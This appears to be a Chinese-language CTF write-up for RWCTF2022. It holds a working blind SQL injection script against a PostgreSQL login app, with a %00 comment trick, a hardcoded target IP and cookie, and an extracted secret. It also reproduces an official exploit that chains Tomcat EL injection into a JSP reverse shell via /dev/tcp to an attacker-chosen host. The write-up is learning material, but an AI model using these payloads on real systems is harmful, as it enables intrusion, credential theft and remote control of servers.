RWCTF2022

赶紧学习

Hack into Skynet

登录哪里非常明显的逻辑问题,可以任意密码登录,username置空就行

之后就可以在name参数注入了

注入还是比较好测的,主要是我测了下%00居然也可以在pgsql当注释符,做比赛的时候才知道。注入就比较简单了,我观察到像是一种正则匹配的规则,但不是纯文本的正则匹配。所以说尝试换一下注入的位置,试了下在offest这里可以绕

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string
s=string.digits+string.ascii_letters+r"${}-_"

burp0_url = "http://47.242.21.212:8081/"
burp0_cookies = {"SessionId": "23d96ab50b7215421dd1c101be70d2e1"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://47.242.21.212:8081", "Connection": "close", "Referer": "http://47.242.21.212:8081/", "Upgrade-Insecure-Requests": "1", "Pragma": "no-cache", "Cache-Control": "no-cache"}

flag=''
for i in range(len(flag)+1,60):
print(i)
for j in s:
# SELECT string_agg(table_name,'') FROM information_schema.tables
# current_setting('is_superuser')
# data="(SELECT string_agg(table_name,'') FROM information_schema.tables)"
data = "(select secret_key from target_credentials where account='skynet')"
burp0_data = {"name": f"s' or 1::BOOLEAN OFFSET 0|(left({data},{i})='{flag+j}')::integer\x00"}
print(burp0_data)
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
if 'john.connor' in res.text:
flag =flag+j
break
# PostgreSQL 13.5 on x86
# skynet eb0f4c3b032e72d6fdf908dfcfe4836c

Desperate Cat

完全不会,看了一会等于什么都没做

赛后看到wp,非常的顶,而且有几种做法

预期解,这里是官方的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3

import sys
import time
import requests

PROXIES = None

if __name__ == '__main__':
target_url = sys.argv[1] # e.g. http://47.243.235.228:39465/
reverse_shell_host = sys.argv[2]
reverse_shell_port = sys.argv[3]

el_payload = r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>"""
r = requests.post(url=f'{target_url}/export',
data={
'dir': '',
'filename': 'a.jsp',
'content': el_payload,
},
proxies=PROXIES)
shell_path = r.text.strip().split('/')[-1]
shell_url = f'{target_url}/export/{shell_path}'
r2 = requests.post(url=shell_url,
data={
'a': '/tmp/session.jsp',
'b': 'voidfyoo',
'c': reverse_shell_jsp_payload,
'd': '/',
},
proxies=PROXIES)
r3 = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/lib/',
'filename': 'a.jar',
'content': 'a',
},
proxies=PROXIES)
time.sleep(10) # wait a while
r4 = requests.get(url=f'{target_url}/tmp/session.jsp', proxies=PROXIES)

基础还是很重要的,我完全不知道可以用el干这么骚的事情,我看那么多控制字符都没了都绝望好久了。

简单解释一下1

上面那段el首先是控制了一个文件内容,更改了appBase,热加载打开,然后触发

还有一种非预期还在学习中